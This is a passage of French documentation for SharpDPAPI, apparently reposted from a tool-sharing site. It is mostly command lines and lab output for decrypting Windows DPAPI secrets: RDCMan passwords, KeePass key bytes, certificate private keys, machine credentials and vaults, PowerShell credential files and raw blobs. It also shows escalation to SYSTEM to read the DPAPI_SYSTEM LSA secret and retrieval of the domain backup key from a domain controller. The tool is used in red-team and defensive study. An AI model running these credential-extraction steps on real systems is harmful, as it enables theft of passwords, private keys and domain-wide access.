    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Utilisation d’une clé de sauvegarde DPAPI du domaine pour déchiffrer d’abord les clés maîtres détectables :

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm.a
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

keepass

La commande keepass recherche les fichiers ProtectedUserKey.bin de KeePass pour l’utilisateur actuel (ou, si élevé, tous les utilisateurs) et a) les déchiffre avec les clés maîtres « {GUID}:SHA1 » passées, b) utilise un fichier /mkfile:FILE contenant une ou plusieurs correspondances {GUID}:SHA1, c) utilise une clé de sauvegarde DPAPI du domaine (/pvk:BASE64... ou /pvk:key.pvk) pour déchiffrer d’abord les clés maîtres utilisateur (comme masterkeys), ou d) utilise un /password:X pour déchiffrer les clés maîtres utilisateur, qui servent ensuite de table de déchiffrement. Les correspondances GUID DPAPI peuvent être récupérées avec la commande sekurlsa::dpapi de Mimikatz.

L’indicateur /unprotect utilise CryptUnprotectData() pour déchiffrer les octets de la clé, si la commande est exécutée dans le contexte de l’utilisateur qui a enregistré les mots de passe. Cela peut être fait depuis un contexte non privilégié, sans avoir à toucher à LSASS. Pour savoir pourquoi cette approche n’est pas utilisée pour les informations d’identification/coffres, consultez la documentation de Benjamin ici.

Un fichier ProtectedUserKey.bin, un fichier .RDC (ou un dossier de fichiers .RDG) spécifique peut être précisé avec /target:FILE ou /target:C:\Folder\. Si un fichier est indiqué, les valeurs {GUID}:SHA1 (ou /unprotect) sont requises ; si un dossier est indiqué, soit a) les valeurs {GUID}:SHA1 doivent être fournies, soit b) le dossier doit contenir les clés maîtres DPAPI et une clé de sauvegarde /pvk du domaine doit être fournie.

Les octets du fichier de clé déchiffrés peuvent être utilisés avec la version modifiée de KeePass dans KeeThief.

Utilisation de /unprotect pour déchiffrer les clés trouvées :

root@kitploit:~
C:\Temp> SharpDPAPI.exe  keepass /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

    File             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Accessed         : 3/1/2021 1:38:22 PM
    Modified         : 1/4/2021 5:49:49 PM
    guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    size             : 210
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Key Bytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

certificates

La commande certificates recherche les clés privées de certificat DPAPI chiffrées par l’utilisateur et a) les déchiffre avec les clés maîtres « {GUID}:SHA1 » passées, b) utilise un fichier /mkfile:FILE contenant une ou plusieurs correspondances {GUID}:SHA1, c) utilise une clé de sauvegarde DPAPI du domaine (/pvk:BASE64... ou /pvk:key.pvk) pour déchiffrer d’abord les clés maîtres utilisateur (comme masterkeys), ou d) utilise un /password:X pour déchiffrer les clés maîtres utilisateur, qui servent ensuite de table de déchiffrement. Les correspondances GUID DPAPI peuvent être récupérées avec la commande sekurlsa::dpapi de Mimikatz.

L’indicateur /unprotect utilise CryptUnprotectData() pour déchiffrer les clés privées, si la commande est exécutée dans le contexte de l’utilisateur dont vous essayez d’accéder aux certificats. Cela peut être fait depuis un contexte non privilégié, sans avoir à toucher à LSASS. Pour savoir pourquoi cette approche n’est pas utilisée pour les informations d’identification/coffres, consultez la documentation de Benjamin ici.

Un certificat spécifique peut être précisé avec /target:FILE ou /target:C:\Folder\. Dans les deux cas, les valeurs {GUID}:SHA1 (ou /unprotect) sont requises, ou bien le dossier doit contenir les clés maîtres DPAPI et une clé de sauvegarde /pvk du domaine doit être fournie.

Par défaut, seules les clés privées pouvant être liées à un certificat installé associé sont affichées. La commande /showall affiche TOUTES les clés privées déchiffrées.

Utilisez l’indicateur /cng pour les clés privées CNG (par défaut, c’est capi).

Utilisation des correspondances de clés maîtres {GUID}:SHA1 du domaine :

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage

Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daEmpreinte       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Émetteur           : CN=theshire-DC-CA, DC=theshire, DC=local
    Sujet          : CN=harmj0y
    Date de validité       : 2/22/2021 2:19:02 PM
    Date d'expiration      : 2/22/2022 2:19:02 PM
    Utilisations améliorées de la clé :
        Authentification client (1.3.6.1.5.5.7.3.2)
         [!] Le certificat est utilisé pour l'authentification client !
        E-mail sécurisé (1.3.6.1.5.5.7.3.4)
        Système de fichiers de chiffrement (1.3.6.1.4.1.311.10.3.4)

    [*] Le fichier de clé privée 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 a été récupéré :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

Utilisation de /unprotect pour déchiffrer les certificats utilisateur trouvés :

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Action : Triage des certificats

[*] Utilisation de CryptUnprotectData() pour le déchiffrement.


Dossier       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  Fichier               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    GUID du fournisseur    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    GUID de la clé maîtresse  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    Description      : Clé privée
    algCrypt         : CALG_AES_256 (keyLen 256)
    algHash          : CALG_SHA_512 (32782)
    Salt             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    Nom unique      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    Empreinte       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    Émetteur           : CN=theshire-DC-CA, DC=theshire, DC=local
    Sujet          : CN=harmj0y
    Date de validité       : 10/18/2022 11:40:07 AM
    Date d'expiration      : 10/18/2023 12:00:07 PM
    Utilisations améliorées de la clé :
        Authentification client (1.3.6.1.5.5.7.3.2)
         [!] Le certificat est utilisé pour l'authentification client !
        Authentification serveur (1.3.6.1.5.5.7.3.1)

    [*] Le fichier de clé privée f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b a été récupéré :

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

Utilisation d'une clé de sauvegarde DPAPI de domaine pour déchiffrer d'abord les clés maîtresses détectables :

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action : Triage des certificats
[*] Utilisation d'une clé de sauvegarde DPAPI de domaine pour trier les clés maîtresses et obtenir les correspondances de clés de déchiffrement !


[*] Cache des clés maîtresses utilisateur :

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Dossier       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  Fichier               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    GUID du fournisseur    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    GUID de la clé maîtresse  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : Clé privée CryptoAPI
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Nom unique      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    Empreinte       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Émetteur           : CN=theshire-DC-CA, DC=theshire, DC=local
    Sujet          : CN=harmj0y
    Date de validité       : 2/22/2021 2:19:02 PM
    Date d'expiration      : 2/22/2022 2:19:02 PM
    Utilisations améliorées de la clé :
        Authentification client (1.3.6.1.5.5.7.3.2)
         [!] Le certificat est utilisé pour l'authentification client !
        E-mail sécurisé (1.3.6.1.5.5.7.3.4)
        Système de fichiers de chiffrement (1.3.6.1.4.1.311.10.3.4)

    [*] Le fichier de clé privée 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 a été récupéré :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

La commande triage exécute les commandes utilisateur credentials, vaults, rdg et certificates.

Triage machine

machinemasterkeys

La commande machinemasterkeys s'élève au niveau SYSTEM pour récupérer le secret LSA DPAPI_SYSTEM qui est ensuite utilisé pour déchiffrer les clés maîtresses DPAPI machine trouvées. Elle renvoie un ensemble de correspondances de clés maîtresses {GUID}:SHA1.

Des droits d'administration locaux sont nécessaires (afin de récupérer le secret LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action : Triage des fichiers de clés maîtresses DPAPI machine

[*] Élévation au niveau SYSTEM par duplication de jeton pour la récupération du secret LSA
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    complet : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] Cache des clés maîtresses SYSTEM :

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

La commande machinecredentials s'élève au niveau SYSTEM pour récupérer le secret LSA DPAPI_SYSTEM qui est ensuite utilisé pour déchiffrer les clés maîtresses DPAPI machine trouvées. Ces clés sont ensuite utilisées pour déchiffrer les fichiers d'identifiants machine trouvés.

Des droits d'administration locaux sont nécessaires (afin de récupérer le secret LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action : Triage des identifiants DPAPI machine

[*] Élévation au niveau SYSTEM par duplication de jeton pour la récupération du secret LSA
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    complet : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] Cache des clés maîtresses SYSTEM :

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triage des identifiants système


Dossier       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  Fichier d'identifiants           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    taille             : 544
    drapeaux            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Données d'identifiants locales

    Dernière écriture      : 3/24/2019 7:08:43 PM
    Nom de cible       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    Alias de cible      :
    Commentaire          :
    Nom d'utilisateur         : TESTLAB\harmj0y
    Identifiant       : Password123!


Dossier       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  Fichier d'identifiants           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

La commande machinevaults s'élève au niveau SYSTEM pour récupérer le secret LSA DPAPI_SYSTEM qui est ensuite utilisé pour déchiffrer les clés maîtresses DPAPI machine trouvées. Ces clés sont ensuite utilisées pour déchiffrer les coffres machine trouvés.

Des droits d'administration locaux sont nécessaires (afin de récupérer le secret LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action : Triage des coffres DPAPI machine

[*] Élévation au niveau SYSTEM par duplication de jeton pour la récupération du secret LSA
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    complet : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] Cache des clés maîtresses SYSTEM :

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triage des coffres SYSTEM


[*] Triage du dossier de coffres : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Nom               : Identifiants Web
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    taille             : 324
    drapeaux            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      :
    clé aes128       : 74CE3D7BCC4D0C4734931041F6D00D09
    clé aes256       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

La commande certificates /machine utilise le magasin de certificats machine pour rechercher des clés privées de certificats machine déchiffrables. /mkfile:X et {GUID}:masterkey sont utilisables avec la commande /target:\[file|folder\], sinon SharpDPAPI s'élève au niveau SYSTEM pour récupérer le secret LSA DPAPI_SYSTEM qui est ensuite utilisé pour déchiffrer les clés maîtresses DPAPI machine trouvées. Ces clés sont ensuite utilisées pour déchiffrer les clés privées de certificats chiffrées par le système machine trouvées.

Par défaut, seules les clés privées pouvant être liées à un certificat installé associé sont affichées. La commande /showall affiche TOUTES les clés privées déchiffrées.

Des droits d'administration locaux sont nécessaires (afin de récupérer le secret LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /machine

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action : Triage des certificats
[*] Élévation au niveau SYSTEM par duplication de jeton pour la récupération du secret LSA
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    complet : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] Cache des clés maîtresses SYSTEM :

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Triage des certificats système


Dossier       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  Fichier               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    GUID du fournisseur    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    GUID de la clé maîtresse  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    Description      : Clé privée CryptoAPI
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    Nom unique      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    Empreinte       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    Émetteur           : CN=theshire-DC-CA, DC=theshire, DC=local
    Sujet          : CN=dev.theshire.local
    Date de validité       : 2/22/2021 3:50:43 PM
    Date d'expiration      : 2/22/2022 3:50:43 PM
    Utilisations améliorées de la clé :
        Authentification client (1.3.6.1.5.5.7.3.2)
         [!] Le certificat est utilisé pour l'authentification client !
        Authentification serveur (1.3.6.1.5.5.7.3.1)

    [*] Le fichier de clé privée 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 a été récupéré :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

La commande machinetriage exécute les commandes utilisateur machinecredentials, machinevaults et certificates /machine.

Divers

ps

La commande ps décrit/déchiffre un fichier clixml PSCredential exporté. Un /target:FILE.xml doit être fourni.

La commande peut a) déchiffrer le fichier avec toutes les clés maîtresses "{GUID}:SHA1" passées, b) utiliser un /mkfile:FILE d'un ou plusieurs mappages de clés maîtresses {GUID}:SHA1, c) utiliser une clé de sauvegarde DPAPI de domaine fournie (/pvk:BASE64... ou /pvk:key.pvk) pour déchiffrer d'abord les clés maîtresses utilisateur (à la manière de masterkeys), ou d) utiliser un /password:X pour déchiffrer les clés maîtresses utilisateur, qui sont ensuite utilisées comme table de déchiffrement de correspondance. Les mappages GUID DPAPI peuvent être récupérés avec la commande Mimikatz sekurlsa::dpapi.

Le drapeau /unprotect utilise CryptUnprotectData() pour déchiffrer le fichier .xml d'identifiant sans avoir besoin de clés maîtresses, si la commande est exécutée depuis le contexte utilisateur qui a sauvegardé les mots de passe. Cela peut être fait depuis un contexte non privilégié, sans avoir besoin de toucher à LSASS. Pour savoir pourquoi cette approche n'est pas utilisée pour les identifiants/coffres, voir la documentation de Benjamin ici.

Déchiffrer un fichier .xml d'identifiant exporté à l'aide de CryptProtectData() (le drapeau /unprotect) :

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action : Décrire un fichier .xml PSCredential

    Fichier d'identifiant         : C:\Temp\cred.xml
    Accédé         : 7/25/2019 11:53:09 AM
    Modifié         : 7/25/2019 11:53:09 AM
    Nom d'utilisateur        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    taille             : 170
    drapeaux            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Mot de passe         : Password123!

Utilisation de correspondances de clés maîtresses domaine {GUID}:SHA1 :

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action : Décrire un fichier .xml PSCredential

[*] Utilisation d'une clé de sauvegarde DPAPI de domaine pour trier les clés maîtresses et obtenir les correspondances de clés de déchiffrement !

[*] Cache des clés maîtresses utilisateur :

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    Fichier d'identifiant         : C:\Temp\cred.xml
    Accédé         : 7/25/2019 12:04:12 PM
    Modifié         : 7/25/2019 12:04:12 PM
    Nom d'utilisateur        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    taille             : 170
    drapeaux            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Mot de passe         : Password123!

Utilisation d'une clé de sauvegarde DPAPI de domaine pour déchiffrer d'abord les clés maîtresses détectables :

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action : Décrire un fichier .xml PSCredential

[*] Utilisation d'une clé de sauvegarde DPAPI de domaine pour trier les clés maîtresses et obtenir les correspondances de clés de déchiffrement !

[*] Cache des clés maîtresses utilisateur :

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    Fichier d'identifiant         : C:\Temp\cred.xml
    Accédé         : 7/25/2019 12:04:12 PM
    Modifié         : 7/25/2019 12:04:12 PM
    Nom d'utilisateur        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    taille             : 170
    drapeaux            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Mot de passe         : Password123!

blob

La commande blob décrit/déchiffre un blob DPAPI. Un /target:<BASE64|blob.bin> doit être fourni.

La commande peut a) déchiffrer le blob avec toutes les clés maîtresses "{GUID}:SHA1" passées, b) utiliser un /mkfile:FILE d'un ou plusieurs mappages de clés maîtresses {GUID}:SHA1, c) utiliser une clé de sauvegarde DPAPI de domaine fournie (/pvk:BASE64... ou /pvk:key.pvk) pour déchiffrer d'abord les clés maîtresses utilisateur (à la manière de masterkeys), ou d) utiliser un /password:X pour déchiffrer les clés maîtresses utilisateur, qui sont ensuite utilisées comme table de déchiffrement de correspondance. Les mappages GUID DPAPI peuvent être récupérés avec la commande Mimikatz sekurlsa::dpapi.

Le drapeau /unprotect utilise CryptUnprotectData() pour déchiffrer le blob sans avoir besoin de clés maîtresses, si la commande est exécutée depuis le contexte utilisateur qui a sauvegardé les mots de passe. Cela peut être fait depuis un contexte non privilégié, sans avoir besoin de toucher à LSASS. Pour savoir pourquoi cette approche n'est pas utilisée pour les identifiants/coffres, voir la documentation de Benjamin ici.

Déchiffrer un blob à l'aide de CryptProtectData() (le drapeau /unprotect) :

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action : Décrire un blob DPAPI

[*] Utilisation de CryptUnprotectData() pour le déchiffrement.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    taille             : 170
    drapeaux            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    déchiffré(blob)        : Password123!

Utilisation de correspondances de clés maîtresses domaine {GUID}:SHA1 :

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action : Décrire le blob DPAPI

[*] Utilisation de CryptUnprotectData() pour le déchiffrement.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

Utilisation d'une clé de sauvegarde DPAPI du domaine pour déchiffrer d'abord les masterkeys découvertes :

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action : Décrire le blob DPAPI

[*] Utilisation d'une clé de sauvegarde DPAPI du domaine pour trier les masterkeys pour les correspondances de clés de déchiffrement !

[*] Cache des masterkeys utilisateur :

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

La commande backupkey récupère la clé de sauvegarde DPAPI du domaine à partir d'un contrôleur de domaine en utilisant l'API LsaRetrievePrivateData de Mimikatz. Cette clé privée peut ensuite être utilisée pour déchiffrer les blobs de masterkey de n'importe quel utilisateur du domaine. Et encore mieux, la clé ne change jamais ;)

